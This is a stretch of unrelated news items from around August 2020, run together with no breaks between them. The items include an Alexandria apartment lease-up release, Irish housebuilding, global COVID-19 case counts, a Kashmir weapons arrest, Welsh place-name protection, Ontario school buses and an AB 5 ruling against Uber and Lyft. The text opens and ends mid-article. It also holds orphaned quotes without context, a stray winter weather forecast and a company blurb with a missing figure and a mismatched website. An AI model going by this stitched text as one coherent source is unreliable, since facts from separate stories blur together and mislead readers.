Lineage right out of the gate. "Our lease-up for Lineage launched with unprecedented velocity," Simpson said. "In just the first five weeks, we have nearly met 50% of our overall lease-up goal, and the applications keep pouring in. It really speaks to the demand for not only affordable housing but the quality of living that Lineage residents will enjoy." Lineage is located at 625 N Patrick Street, just off the coastal George Washington Memorial Parkway, with quick connectivity to King Street and I-495. Access to public transportation is just steps away. The property is across the street from the Charles Houston Recreation Center and Alexandria Black History Museum, and within walking distance of the upscale dining and shopping opportunities in Old Town Alexandria. Local restaurants, coffee shops and groceries are all just beyond residents' doorsteps, as well. Lineage also has easy accessibility to three waterfront parks Oronoco Bay, Rivergate and Founders. Lineage is anchored by an enviable, pet-friendly onsite park, complete with vibrant landscaping. Resident vehicles reside within a controlled-access parking garage, and package arrivals are stored in a designated controlled-access room. A central elevator services all four floors. Apartment homes range from 323-1,301 square feet and feature oversized windows for ample natural light. Kitchens include black GE energy-efficient appliances, brushed chrome fixtures and maple shaker cabinets. Eat-in breakfast bars highlight select homes. Hardwood-style flooring extends throughout living areas, while bedrooms and generous closet spaces are carpeted. All apartments include in-home washers and dryers, individually controlled heating and air conditioning, and come cable and internet ready. Roommate-style floor plans are available. Move-ins are scheduled to begin in October. About Edgewood Management Edgewood Management is an East Coast property management company driven by a genuine desire to help improve people's lives. Through hands-on management and enhanced resident services, Edgewood has become an industry leader in residential property management. Edgewood manages a select portfolio of more than residential communities in Delaware, Florida, Georgia, Kentucky, Maryland, New Jersey, North Carolina, Ohio, Pennsylvania, South Carolina, Virginia and Washington, D.C. For more information, please visit www.thefordfamilycompanies.com . Media Contact Samantha Chalmers LinnellTaylor Marketing 303-682-5001 [email protected] SOURCE Edgewood and Vantage Management Cairn Homes, Ireland's largest residential construction firm, reopened 15 of its construction sites in May. Photo: Getty Cairn Homes (CRN.L), Irelands largest residential construction firm, said on Tuesday that the countrys housing crisis would allow it to build a sustainable business in the wake of the coronavirus pandemic. Notwithstanding the impact of the pandemic on our operations, the resilience of the business has shone through in recent months, said chief executive Michael Stanley in a trading update. Referring to the formation of a new government in June that has put homebuilding at the core of its programme amid a longstanding housing crisis and years of undersupply, Stanley said that serving the market for aspiring homeowners and delivering apartments in urban centres would be the clear focus of its activities in years to come. Cairn Homes reopened 15 of its residential construction sites in May, and Stanley said that sales interest had picked up appreciably in recent months. READ MORE: UK unemployment remains near record lows even as extra 80,000 jobs lost Ireland has been contending with a housing crisis for several years, and the issue became a key flashpoint in Februarys general election. At the lower levels of the market, these problems have contributed to a worsening homelessness crisis, with more than 10,000 people thought to be without a home. In recent years, the catalog of complainants has swelled to include those from Irelands business, political, and policy-making sectors. Housing is thought to be one of the critical pressure points limiting the countrys economic expansion. Expert groups have warned that the housing stock in the country has been insufficient to meet demand since the end of the countrys recession in 2011. Meanwhile, large firms have continually warned that high housing costs in Dublin are the single greatest handicap to living and working in the city. READ MORE: Heathrow CEO warns of tens of thousands of job losses The countrys new coalition government has promised a new housing commission, planning reforms, as well as new affordable home packages. While the coronavirus crisis has dented activity in the construction section and sales are likely to fall significantly this year, firms are thus looking to the future with a degree of optimism. The construction of affordable housing at scale for aspiring homeowners who currently find it difficult to get mortgage approval and the delivery of apartment schemes in and around our urban centres and employment zones remain the two significant but not insurmountable challenges, said Stanley. Wearing a mask to curb the spread of the new coronavirus, Martha Gonzalez Reyes, 76, sells roses outside Metro Hidalgo in central Mexico City. Read more ROME The number of confirmed coronavirus cases worldwide topped 20 million, more than half of them from the United States, India and Brazil, as Russia on Tuesday became the first country to register a vaccine against the virus. Russian President Vladimir Putin announced the registration at a government meeting and added that one of his two adult daughters had already been inoculated. Shes feeling well and has high number of antibodies, he said. Russia has reported more than 890,000 cases, the fourth-most in the world, according to a Johns Hopkins University tally that also showed total confirmed cases globally surpassing 20 million. It took six months or so to get to 10 million cases after the virus first appeared in central China late last year. It took just over six weeks for that number to double. An AP analysis of data through Aug. 9 showed the U.S., India and Brazil together accounted for nearly two-thirds of all reported infections since the world hit 15 million coronavirus cases on July 22. Health officials believe the actual number of people infected with the virus is much higher than that tally kept by Johns Hopkins University, given testing limitations and that as many as 40% of those with the virus show no symptoms. In Europe, countries that appeared to have gotten their outbreaks under control during nationwide lockdowns and lifted many public restrictions worked to prevent a resurgence of the virus. Finland joined France and Germany in announcing it would test travelers from at-risk countries upon arrival. Spain, which along with Italy was hardest hit when the virus first exploded on the continent, now has the most confirmed cases in western Europe at nearly 323,000. The number of new cases have risen steadily in Spain since its strict, three-month lockdown ended on June 21, reaching 1,486 on Monday. In Greece, which imposed strict lockdown measures early and kept its reported cases low during the height of the European epidemic, the government announced new measures Monday to prevent an outbreak. It ordered bars, restaurants and cafes in several regions to shut between midnight and 7 a.m. Outside Europe, infection rates are exponentially higher. The number of new cases reported daily continues to rise in India, hitting a rolling seven-day average of 58,768. In the U.S., which so far has more than 5 million confirmed cases, the daily average has decreased since July 22nd, but remains high at over 53,000. South Africa has more than a half-million cases. In the country with the worlds largest number of HIV-positive people, the virus has disrupted the supply of antiretroviral drugs that a United Nations agency says could lead to 500,000 additional AIDS-related deaths. In the 45 days it took reported coronavirus cases worldwide to double to 20 million, the number of reported virus deaths climbed to 736,191 from 499,506, according to the Johns Hopkins count, an average of more than 5,200 a day. About one-fifth of reported deaths, or more than 163,000, have been in the U.S., the most in the world. New Zealand Prime Minister Jacinda Ardern said Tuesday that authorities found four cases of the coronavirus in one Auckland household from an unknown source, the first cases of local transmission in the country in 102 days. Caseloads are still rising quickly in many other countries, including Indonesia and Japan. In Mexico, President Andres Manuel Lopez Obrador, like Brazils President Jair Bolsonaro and U.S. President Donald Trump, seldom wears a mask and has resisted calls for a strict lockdown, saying Mexicans should be convinced to observe social distancing, not forced to do so by police or fines. With nearly 500,000 cases and more than 50,300 deaths, Mexico has struggled with how to curb outbreaks given that just over half its people work off the books with no benefits or unemployment insurance. A full lockdown would prove too costly for people with little savings and tenuous daily incomes, said Assistant Health Secretary Hugo Lopez-Gatell, the presidents point man on the epidemic. We do not want a solution that would, in social terms, be more costly than the disease itself, he said. Mexicos relatively high death rate results partly from the country having one of the worlds highest rates of obesity and diabetes. There has also been relatively little testing. Of all tests done, 47% are positive, suggesting that only seriously ill people are getting tests. That has hindered contract tracing. India reported 53,601 new cases Tuesday as its count of total infections neared 2.3 million. Its reported case morality rate, at 2%, is much lower than in the U.S. and Brazil. In Japan, where outbreaks have been widening as officials urge people to consider this years summer holidays special and stay home, the rate of positive tests in Tokyo, the country's worst hit region, has been climbing but remains at 7%. Vietnam went from having reported no confirmed deaths and very few cases to battling fresh outbreaks that emerged in the seaside city of Danang. Meanwhile, outbreaks in mainland China and semi-autonomous Hong Kong declined, with the number of new community infections in China falling to 13, all in the northwestern region of Xinjiang. Hong Kong counted 69 new cases. Similar to many other Asian countries, China requires testing and a two-week quarantine of all new arrivals and has barred most foreigners from entering the country. Border closures, masks, lockdowns and infection data are now the new way of life for much of the world, not the politically combustible topics they are in the U.S. A review by the Kaiser Health News service and The Associated Press found that at least 49 state and local public health leaders have resigned, retired or been fired since April across 23 states. The list has grown by more than 20 people since the AP and KHN started keeping track in June. _____ Kurtebach reported from Mito, Japan. Stevenson reported from Mexico City. Associated Press journalist Nicky Forster in New York contributed to this report, as did other AP journalists from around the world. A Hizbul Mujahideen (HM) terrorist and his four terror associates were apprehended along the Line of Control (LoC) in Kupwara district of Jammu and Kashmir. A large number of weapons and warlike stores were also recovered. Late on August 10 night, the Kupwara Police, 28 Rashtriya Rifles (RR) of the Indian Army and 162 BN of the Central Reserve Police Force (CRPF) launched a joint operation acting on credible information. The tipoff said about cross- LOC smuggling of weapons by HM terrorist associates and their further delivery to active terrorists. The local terrorist of Hizbul Mujahideen terror outfit has been identified as Parvaiz Ahmad Bhat (22), son of Abdullah Bhat, a resident of Lalpora Lolab. The terrorist associates apprehended are-- Altaf Ahmad Mir (35), son of Abdullah Mir, a resident of Hajibal Narizeb Kalarooch (OGW); Gh Mohammad Kohli (35), son of Gh Hassan Kohli, a resident of Warnnow Lolab (OGW); Nizam Din Gujjar (44), son of Mohammad Yaqoob, a resident of Gujarpati Bandipora (OGW); and Ab Qayoom Gujar (29), son of Mirza Gujar, a resident of Khenura Bandipora (OGW). An AK-47 rifle, a 9mm Chinese Pistol with magazines, 60 AK rounds of 7.62mm, a pistol, two pistol magazines, 12 pistol rounds 9mm and a pouch were recovered during the search operation. A preliminary investigation has so far revealed that these terror associates had established contacts with terrorist commanders--Reyaz and Amjad both hailing from Bandipora and currently operating at Sonar launch pad as Dett Commanders for smuggling and supply of weapons to terrorists active in the Valley. Further investigation to ascertain all details of their smuggling activities over the recent past is going on the basis of technical evidence. An FIR under section 7/25 IA Act and 13, 16, 18, 39 UAPA has been registered at Lalpora Police Station. An investigation is underway. Not opposed to social programs "This is not a social program issue," Scippio said. "This is like cancer. The Winston-Salem Police Department knows what needs to be done to stop these gunshots all night. I am totally in favor of also doing various community programs that will take care of the problem down the road. We have residents who are afraid to sit on their porch. We have children who can't play in their front yard or their back yard. We have folks who can't walk down the street. We have drive-by shootings. This is not Chicago ... This is Winston-Salem. People are amazed we have this violence going on." I said after Unite the Right, Well, now, hopefully your eyes will be finally open. Not! I am very disappointed and plain old sick and tired of being sick and tired, said Johnson, who lives with her two grown sons in the citys predominantly Black neighborhood of Orangedale-Prospect. I would really like my sons to leave the city. I dont want them to get stuck in a rut here. There is very little that they can do to better themselves here. Entering as tourists, they rented a small house in a British town they do not want to disclose. They have minimal contact with relatives, who do not know their whereabouts. All were working or studying before leaving Hong Kong, but now spend their days doing nothing while they wait for a more permanent status that would allow them to work legally. Because they were born after Hong Kongs 1997 handover from Britain to China, they are not eligible for the British National (Overseas) passports that would grant some 3 million Hong Kongers a path to British citizenship under measures London announced recently. Federal Health Minister and local MP Greg Hunt is "deeply disappointed" the Victorian government has refused to delay assessing the environmental impact of AGLs proposed gas-import terminal at Western Port until coronavirus restrictions are lifted. Resident groups, lawyers and environmentalists had urged Planning Minister Richard Wynne to pause the process because community members could not effectively participate including reviewing the 11,000-page impact document and having independent experts assess the project site during stage four lockdown. Greg Hunt, whose electorate of Flinders takes in the proposed project site, said he was dismayed by the decision. Credit:Eddie Jim In a letter received by parties on Tuesday, Mr Wynne said halting the environmental effects statement process until lockdown restrictions were eased would introduce "severe procedural uncertainty" in the coastal community, 75 kilometres south-east of Melbourne. Instead, he urged people to adapt to present circumstances by using technology, social media and remote conferencing. Encouraged by the impressive performance of its weekend flight offerings, China Eastern Airlines on Monday launched a new product catered toward weekday flights, according to the Shanghai-based carrier. Priced at 3,456 yuan, the new package allows users to take unlimited flights to any destination in the Chinese mainland on weekday mornings before 8am and on weekday evenings after 8pm. The package is valid for 180 days. In light of the COVID-19 outbreak coming under control in China, the carrier had on June 18 launched a product that allows customers to redeem flights to any destination in the Chinese mainland during weekends until the end of this year. Daily flights of China Eastern rebounded from its lowest of 200 to about 2,300 - more than 90 percent of pre-epidemic levels - as of early August. Welsh Language Commissioner joins place names protection debate saying time for action after decades of talk This article is old - Published: Tuesday, Aug 11th, 2020 Encouragement and persuasion alone will not be enough to protect some of Wales historic place names, the Welsh Language Commissioner has suggested. Claims that Wales is little by little losing its heritage has seen almost 18,000 sign a petition urging the Welsh Government to legislate in a bid to prevent the loss of Welsh property names. The campaign, which will soon be discussed by the Senedds Petitions Committee, refers to a pattern throughout Wales where new owners are changing their house names into English, and has been heightened thanks to the likes of former First Minister Carwyn Jones and comedian Tudur Owen highlighting place names which are in danger of being displaced. Some high profile examples include Porth Trecastell on Anglesey now often known as Cable Bay. Meanwhile, Llyn Bochlwyd in Eryri (Snowdonia) named after an ancient story involving a grey stag has, due to the apparent shape of its outline, become to be known as Lake Australia. In Gwynedd, despite the local authority noting that only nine out of 140 house names requests in 2019 were from Welsh into English, members of the local Welsh National Party group have called to hike the fee to do so from 55 to 10,000. Meanwhile, the councils deputy leader has since suggested that the planning system could be a way of maintaining control. Speaking during a debate on indigenous place names in a Plaid Cymru hosted session during what would have been National Eisteddfod week, Welsh Language Commissioner Aled Roberts added his voice to the debate, stating there had been too much talking but not enough action over recent decades. Noting that political goodwill is needed first and foremost, the former Wrexham Council leader and Liberal Democrat Assembly Member added: I wont sit here and say what legislation should be used or not, and there is room for co-operation with bodies such as the Welsh Place Names Society and thank them for their work in trying to persuade bodies such as the Ordnance Survey. But I think the time has come to go a step further than that We need some sort of official status along the lines of areas such as Ireland, but in doing so and creating that political goodwill there is also a need for the necessary resources to be in place. Acknowledging that while the historic place name register was a step in the right direction featuring 3,000 entries on the standardised list he remained concerned that the resources werent currently available. With all the work thats needed in terms of educating and encouraging, if an authority or body does the work then they need to not only register the names and make them official but also to be ready to explain to the public and people moving to specific areas whats behind these names, Mr Roberts added. After that its a matter for the legislation for what would happen if someone didnt accept the bodys advice, but we need to start the discussion in moving the agenda forward. Theres been enough talk over 30 or 40 years but not enough action in my view. Bedwyr Rees, who has presented programmes on the coastlines of Wales for S4C, said that the loss of historic names often represented losing our link with the past and our ancestors which often represented clues to an areas unique history. Angharad Fychan of the Welsh Place Names Society added that specific legislation is in place in Sweden since 2000, with the Historic Environment Act aiming to project and preserving place names as part of the intangible cultural heritage. There, it is not possible to change place-names that are established by long usage unless there is good reason to do so, but she added that while similar moves in Wales may offer protection for house names, it would not necessarily have the same effect on geographical areas per-se. Arfon MS Sian Gwenllian who chaired the session and who has also spoken out on the need for appropriate legislation in Wales, concluded: We must do something specific and statutory as far as I can see, and I believe there is a consensus within the community thats concerned about this loss that statutory measures need to be introduced. Its exact nature is perhaps something for future debate but if that intention was made clear by political parties across the board, I believe we would see real movement. To watch the debate in full, visit https://www.youtube.com/watch?v=TUGY5-oa3UI&t=1703s By Gareth Williams BBC Local Democracy Reporter (HealthDay)With millions of American children soon returning to school, a new study shows that at least 97,000 children were infected with COVID-19 during the last two weeks of July. According to the new report from the American Academy of Pediatrics and the Children's Hospital Association, at least 338,000 U.S. children had tested positive through July 30, The New York Times reported. That means that more than a quarter of those cases had come up positive in the second half of July alone. Already, some schools have tried to reopen and then had to order quarantines or close after COVID-19 cases were reported among students and staff. In the new report, states in the South and West accounted for more than seven of 10 infections. The count could be higher because the report did not include complete data from Texas and parts of New York state outside of New York City. Missouri, Oklahoma, Alaska, Nevada, Idaho, and Montana were among the states with the highest percentage increase of child infections during that period. There were differences in how states classified children: Most places cited in the report considered children to be no older than 17 or 19 years. But in Alabama, the age limit was 24 years, while it was only 14 years in Florida and Utah, The Times reported. Though public health officials say that most children do not get severe illness, a new report from the U.S. Centers for Disease Control and Prevention found that a new, more dangerous COVID-19 condition known as multisystem inflammatory syndrome in children has struck children of color far more often than whites. From early March through late July, the CDC received reports of 570 young peopleranging from infants to age 20 yearswith the condition, The Times reported. Of those, 40 percent were Hispanic or Latino, 33 percent were black, and 13 percent were white. Ten died and nearly two-thirds were admitted to intensive care units. Explore further Follow the latest news on the coronavirus (COVID-19) outbreak Copyright 2020 HealthDay. All rights reserved. The plasma bank at Guru Gobind Singh Medical College and Hospital (GGSMCH), Faridkot, was made operational on Tuesday. Punjab cabinet minister OP Soni inaugurated the plasma bank through video conferencing. However, only two recovered patients, including a doctor, came forward to donate plasma for transfusion of immunoglobulin antibodies for covid treatment. Under convalescent plasma therapy, antibody-rich blood plasma of patients who have recovered from Covid-19 is preserved for transfusion into critical patients. In June, the Indian Council of Medical Research (ICMR) had allowed Government Medical Colleges (GMCs) in Amritsar, Faridkot and Patiala to treat covid patients with plasma therapy. Eight covid patients who recovered are ready for transfusion. However, most of them are doctors or health workers. Common people who have recovered from the virus are reluctant to donate plasma fearing side effects. GGSMCH principal Dr Deepak Bhatti said, Seven to eight persons have given consent to donate plasma, and two have already done so. Many doctors who had contracted the virus have recovered and will donate plasma after completing 28 days standard time period. We are motivating common people as well to donate plasma, but they are a little reluctant. Plasma therapy is completely safe and takes just 45-60 minutes. The newly setup plasma bank is equipped with two plasma therapy machines, he added. Baba Farid University of Health Sciences V-C Dr Raj Bahadur said, Amid pandemic, people were finding it difficult to get plasma and the situation is getting chaotic. But we hope that the situation will improve with inauguration of this plasma bank in Faridkot. By Express News Service THIRUVANANTHAPURAM: The Kerala government has handed over a compensation of Rs 1.30 crore to former ISRO scientist Nambi Narayanan who was falsely implicated in an espionage case in 1994. The amount was given as per a cabinet decision last year. The current compensation is in addition to an amount of Rs 50 lakh provided by the government based on a Supreme Court verdict and another Rs 10 lakh given to him as directed by the National Human Rights Commission. It's learnt that the current amount has been given from the state police's head account. Last December, the government had taken a decision to give Rs 1.30 crore compensation to Nambi Narayanan. The amount is part of a settlement in a case filed by the former scientist against the government before the Thiruvananthapuram Sub Court, seeking damages for his arrest. Following the government's decision to provide him compensation, Nambi Narayanan had withdrawn the case. The government had entrusted former chief secretary K Jayakumar to come up with a recommendation to settle the case between Nambi Narayanan and the government. Based on the recommendation given by K Jayakumar, the government decided to provide compensation of Rs 1.30 crore and issued an order in July in this regard. The espionage case dates back to 1994, when Nambi Narayanan, along with another scientist, was accused of selling classified information on Indias cryogenic engine programme to Russia and Pakistan. Paducah, KY (42003) Today Rain showers early with precipitation turning to a mixture of rain and snow for the afternoon. Some sleet may mix in late. Morning high of 50F with temps falling to near freezing. Winds NW at 10 to 20 mph. Chance of rain 90%.. Tonight Snow this evening will give way to partly cloudy conditions late. Low 16F. Winds N at 10 to 20 mph. Chance of snow 70%. Snow accumulations less than one inch. The funds are part of the EBRDs strategy to counter the economic impacts of the coronavirus in developing economies Egypts International Cooperation Minister Rania Al-Mashat announced on Tuesday that the European Bank for Reconstruction and Development (EBRD) will provide a $100 million financing package to Banque Misr for on-lending to local small and medium-sized enterprises impacted by the coronavirus pandemic. Al-Mashat stressed the importance of the partnership with the EBRD in supporting development efforts in Egypt in both the public and private sector, through its financing of projects. The European bank said in a statement that the funding is part of its strategy to counter the economic impacts of the coronavirus through a special speedy response programme for developing economies. The EBRD has already approved loans for the National Bank of Kuwait (NBK) Egypt and Commercial International Bank (CIB) worth $100 million each, as well as $200 million for the National Bank of Egypt (NBE) for on-lending to local SMEs. Egypt has been a contributing member to the EBRD since its founding in 1991. The bank started its investments in Egypt in 2012 and has allocated 6.5 billion Euros to 115 projects in the country since then. Search Keywords: Short link: Detectives found a love seat and romantic novels and pulled a man from a toilet in bizarre footage from a series of police raids on alleged drug dens. The unexpected home decor was captured on officers' bodycam when they carried out 14 search warrants across Cairns in far north Queensland last Thursday. Footage of one of the raids showed three people sat on a sofa surrounded by pink furniture, while vision taken inside a bedroom showed a romantic novel lying next to a crossbow on a messy bed. A love seat and pink decorations were captured on bodycam during raids by police on the homes of alleged drug dens Police vision taken inside one home showed a novel lying next to a crossbow on a messy bed An inspirational poster hung on the wall of one room which read 'you are my everything'. Officers also filmed themselves inspecting a sunglasses case and taking a photo of a glass jar. The raids were carried out as part of Operation Warlord - a strategy targeting drug activity in the Greater Cairns area. Queensland Police said the warrants led to the seizure of methylamphetamine, MDMA and cannabis, as well as nine people being charged with 26 drug offences. In video capturing a separate raid, officers were seen breaking through a screen door and pulling a man wearing a white t-shirt out of a toilet and handcuffing him on the floor. Four men and five women were arrested during the operation - which was a co-operative effort between the QPS and the Australian Border Force. Officers were seen pulling a man wearing a white t-shirt out of a toilet in one dramatic raid Detective Inspector Jason Smith urged the community to report information about the production, supply and dealing of ice or illegal drugs and drug related activity. 'Drug use stops with the dealer, so police require support from the local communities to identify dealers of illicit drugs,' Detective Inspector Smith said. 'Help create a safer, drug free environment for you and your family by calling Policelink or Crime Stoppers.' Prime Minister Narendra Modi, who launched Indias first undersea optical fibre project this week, has stepped up his governments efforts to give Andaman and Nicobar Islands its first big power project as part of a continuing massive effort to upgrade infrastructure in the archipelago of over 572 Islands in the Bay of Bengal. PM Modi had laid the foundation stone for the 50 megawatt gas-based power plant at Hope Town in South Andaman during his visit to the island in December 2018. One tender to establish the plant has been issued and the bids will be opened on 28 August; bids to set up the gas infrastructure and supply of gas will be opened on 18 August. Senior officials said the different projects are part of the governments overarching vision for the islands and use them as a springboard to open up new opportunities for India in South-East Asia. It was in this context, one official said, that PM Modi on Monday unveiled plans to build a transshipment port at Great Nicobar Island. PM Modi said this would give ships an alternative to similar ports in the region. Officials said New Delhi wants to pitch the proposed Rs 10,000 crore port to be built at Great Nicobar Island as an alternative to other ports in the neighbourhood including those in Sri Lanka and Indonesias Banda Aceh. The idea is to turn Andaman into a major transportation hub that is at the heart of Indias Look East policy, a second government official said. Already, plans are afoot to expand the runway at the Campbell bay airport. The proposed port lies at the mouth of the Strait of Malacca, the main shipping channel between the Indian Ocean and the Pacific Ocean. This is one of the most important sea routes. More than 90 percent of crude oil volumes flowing through the South China Sea transits the Malacca Strait. The port is also located strategically near the proposed Kra Isthmus Canal, also known as the Thai Canal, that would connect the Gulf of Thailand with the Andaman Sea and shorten transit for oil shipments to Japan and China by 1,200 km. Against this background, officials said the need for a steady and clean power source is crucial for expansion of infrastructure. So far, diesel is the predominant source of the electricity mix of the Andaman and Nicobar Islands. The 50 MW plant will supplement the 20 MW solar power project commissioned by the Neyveli Lignite Corporation. This plant has been integrated with an 8 MWh battery energy storage system. A 5 MW solar plant set up by NTPC is already in operation. A power ministry official said the power distribution in the islands is already being privatized under the Atma Nirbhar Bharat initiative. The transaction advisor has already completed discussions with the union territorys power department and the ministry of power in Delhi and are expected to complete the transaction documents by September 2020. SHARE THIS ARTICLE ON Sowmya Mani By Express News Service PUDUKKOTTAI: Health officials and para medical staff are battling a peculiar challenge in the district. People living in and around Aranthangi town are refusing to get admitted in hospital if they test positive. Health officials attribute this to stigma and lack of awareness about the infection. Five residents of Merpanaikadu village tested positive during random tests recently. When ambulances reached the spot on Sunday to take them to the GH, three of them did not co-operate. The patients were asymptomatic and refused to believe they tested positive for Covid. Despite efforts to convince them, they didnt budge. The husband of a patient threatened to set himself ablaze if we took his wife to the hospital, said a health worker. The relatives of another patient said they did not believe the test report was true. We dont step out of the house. How can people sitting at home test positive? How can they contract the virus? The report is wrong, they said. This is not the first such incident in the region. Three days ago, a resident of Avanathankottai tested positive but refused to go to the hospital. She argued with officials that there was no one around to care of her baby. After much discussion, officials decided to admit her along with the baby in hospital. Health workers said it took a lot of convincing from police and other officials to get them admitted. Most times, this caused a delay of two days. Many asymptomatic patients are reluctant and it takes a lot of effort to convince them to move to hospital. Since they dont have facilities at home, we could not advise home quarantine. In the case of the woman in Avanathankottai, her husband was already in hospital and we admitted her son too. We will test him before discharge, said Dr Kalaivani, DDHS, Aranthangi. The European Union (EU) said on Tuesday it will provide humanitarian aid funding worth 1.65 million euros to Bangladesh, India and Nepal to cope with the impact of severe floods in South Asia. Of the total funding, 500,000 euros will be used in India to provide food and livelihood assistance, emergency relief supplies, and water and sanitation services to people affected by floods. EU said this years monsoon rains had impacted 10.9 million people in India, and amplified their vulnerabilities amid the coronavirus pandemic. The humanitarian aid worth 1.65 million euros is on top of the 1.8 million euros announced earlier this year to support families affected by a series of disasters, including cyclone Amphan, which ravaged India and Bangladesh in May. The latest floods have affected some 17.5 million people in South Asia, destroying homes and wiping out livestock and agricultural lands, and damaging vital infrastructure, EU said. One million euros will be dedicated to addressing urgent humanitarian needs in Bangladesh, where more than two million people are in need of food assistance, water, sanitation, hygiene and emergency shelter. Some 850,000 people have been displaced and the figure is expected to increase as rains continue. In Nepal, 150,000 euros will be used to address the need for water, sanitation, shelter and essential household items following the displacement of thousands of people after heavy rains trigged landslides across the country. The monsoon rains across South Asia have been particularly devastating this year and this urgent contribution will help our humanitarian partners on the ground in providing crucial support to those who have lost their shelters, belongings and sources of livelihood, said Taheeni Thammannagoda, who oversees EU humanitarian programmes in Asia and the Pacific. The funding is part of EUs Acute Large Emergency Response Tool (ALERT). Measures to prevent the spread of the Coronavirus will be incorporated in all the programmes. With the onset of the annual monsoon in June, heavy and sustained rains have caused massive floods and landslides across South Asia, killing hundreds and affecting more than 17.5 million people. Poor access to clean water has increased the risk of the spread of diseases, which is especially worrying amid the Covid-19 crisis, EU said. by Shafique Khokhar On the eve of Pakistans Minorities Day, the leaders of religious and civil society groups expressed concern over the governments position towards minorities. Quotas are useless if enforcement rules are not implemented. An impartial education can foster social cohesion and harmony. Great efforts are needed to turn minority representation into participation. Faisalabad (AsiaNews) A conference on Collective efforts for advancing diversities was held yesterday, eve of Pakistans Minorities Day. A number of speakers representing religious and civil society groups addressed the gathering. One of them was Bishop Indrias Rehmat of Faisalabad who said that disparities of rights in policies and laws can never ensure equality of status and treatment, For the prelate and the other participants, the government has failed to take seriously the problems minorities face, noting that quotas for minorities are a futile attempt to ensure political, religious, social and economic equality if they do not have proper enforcement mechanisms. According to various sources, Ahmadis, Christians, Hindus, Sikhs and Shias are the most discriminated in Pakistan, a country of 212 million inhabitants, in which ethnic Punjabis and Sunni Muslims are the largest groups. Catholics and Protestants number around 2 million each (just under 1 per cent of the population respectively). Rizwan Ullah Kokab, who teaches history at the Government College University, points out that Pakistan is a land of many religions and different cultures. For this reason, the authorities "ethnocentric" approach is not useful to the cause of national unity. In his view, social cohesion and harmony can be fostered through education if it is designed with impartiality. Hamid Yaseen, assistant general secretary of the Pakistan Federal Union of Journalists, noted that education policy must incorporate the concept of human rights, social justice, peaceful coexistence and non-discrimination. In fact, minorities in Pakistan are still struggling to protect their identity and find too little space in society, explained Father Kahid Rasheed Asi. More efforts are needed to reverse discrimination and convert the representation of minorities into participation. Former lawmaker Najma Afazl pointed the finger at decision-makers, who have failed to take practical steps to show their respect for diversity. Over 300 arrests have been made in Bengaluru after a mob on August 11 attacked the house of Congress MLA Akhanda Srinivasamurthy over a defamatory post against a religion. Initial investigations reveal that SDPI members were involved in the attack. Four persons died and several others were injured in the attack. Over 50 policemen have also been injured in the incident. Ontario schools are set to open in just a few weeks, but theres still a lot of uncertainty for those students who rely on school buses for daily transportation. School boards across Ontario have started to ask parents and guardians whether their kids will be opting for remote or in-class learning this fall amid the COVID-19 pandemic, but families who depend on school buses, and the drivers who operate them, have concerns. School buses are often crowded, with sometimes three kids per seat. How will physical distancing be enforced? How will classroom bubbles impact student transportation? Will more buses be required to meet needs? The Ontario School Bus Association told the Star it expects some of its drivers especially those who are older than 60 to opt out and not come back to work in September. However, theres also an expectation that the need for the buses will be much lower than before, with some parents expected to opt for remote learning or find alternative transportation means. Driver retention has always been an issue and it continues to be an issue. And this fall its going to be a little bit more problematic than in most years, said Nancy Daigneault, the associations executive director. Were working on trying to recruit and retain as many drivers as we can, and we believe theres going to be fewer people who will opt to use the buses this year because theyre concerned about COVID, so were going to have to take it day by day. According to some guidelines from Ontarios ministry of education, school buses will require cleaning and sanitizing twice a day following the morning and afternoon runs. Personal protective equipment (PPE) will be provided to the drivers and theyll get some basic training on how to use it. The initial plan was to have one student per seat on the bus, but Daigneault said that may not be possible as many regions of Ontario moved into Stage 3 of reopening, which could lead to more parents feeling safe enough to register their kids for the in-class option. That would result in the buses needing to accommodate more students. Right now its all very fluid in terms of knowing how many students will be on each bus, she said, noting there have been some informal surveys over the course of the summer that suggest there could be around 30 per cent fewer students opting to take the buses this year. The lack of adequate information on this issue is leaving parents and even school bus drivers concerned. Katie Piccininni, whose 11-year-old son is heading into Grade 7 in the Toronto Catholic District School Board, said the government seems to be more preoccupied with asking whether kids will opt for online or in-person classes rather than ensuring the safety of students, teachers and school bus drivers. As parents we dont understand how school busing is going to be safe, she said. She usually drives her son to school but as a member of the Ontario Association of Parents in Catholic Education, shes heard many parents expressing frustration about the lack of details on student safety. Its a very stressful situation, she said. If they dont have the details, then perhaps ... do we have to start right after Labour Day? Chris Hausen, 54, is a long-time school bus driver in the Kingston area. He said he usually has about 60 kids on the bus and has not seen any adequate plans on how to safely do his job during a pandemic. I cannot see how social distancing will be possible to follow, he said. Driving a school bus in regular times can be overwhelming, he pointed out, with overcrowding and emotional conflicts that can occur at any time between passengers. Throwing in the responsibility to monitor the students is unfair for the drivers, many of whom are seniors and at a higher risk of contracting the coronavirus, he added. Premier Doug Ford and education minister Stephen Lecce recently announced that Ontario plans to spend just over $300 million on various school reopening initiatives. Of those funds, about $40 million will be directed toward cleaning and sanitizing of school buses. Each bus will have a visor separating the driver from students entering and exiting the bus, but the driver can remove the visor once the students are in their seats, Daigneault explained. Masks will be required for kids from Grade 4 and up, except for those with health conditions. We are trying to offer as many reassurances as possible, she said, noting a lot could change between now and the first day of school. But parents can rest assured that when school starts the bus service will be there. Earlier this year TDSB had announced plans to adjust the start time at over 100 of its schools, an effort that was believed to cut 55 buses off the transportation fleet and save the board around $2.5 million. TDSB spokesperson Ryan Bird told the Star in an email that these plans are still being worked out and that a final decision on the matter will be made based on the number of students who will be returning to school as well as those who will need busing. Protesters block an intersection near Uber's corporate headquarters in San Francisco, Calif., on May 8, 2019. (Josh Edelson/AFP via Getty Images) Judge Grants Preliminary Injunction Against Uber and Lyft Regarding AB 5 LOS ANGELES (CNS)In a ruling stemming from a lawsuit brought by the city attorneys of Los Angeles and two other cities and the state of California, a federal judge Aug. 10 granted a preliminary injunction against ride-hailing companies Uber and Lyft, requiring them to classify their drivers as employees rather than independent contractors in accordance with a new state law. San Francisco-based Judge Ethan P. Schulman ruled in favor of California Attorney General Xavier Becerra, and the city attorneys of Los Angeles, San Diego, and San Francisco, in their lawsuit alleging Uber and Lyft have misclassified their drivers, preventing them from receiving the compensation and benefits they have earned through the dignity of their labor. This is a resounding victory for thousands of Uber and Lyft drivers who are working hardand, in this pandemic, incurring risk every dayto provide for their families, said Los Angeles City Attorney Mike Feuer. Of course, our fight is not over and we will vigorously pursue this litigation until these workers have the permanent protection they deserve. Both companies issued statements indicating they would appeal the ruling, which is scheduled to go into effect in 10 days. The suit alleges the companies are violating Assembly Bill 5 (AB 5), which went into effect Jan. 1 and seeks to ensure gig workers misclassified as independent contractors are afforded certain labor protections, 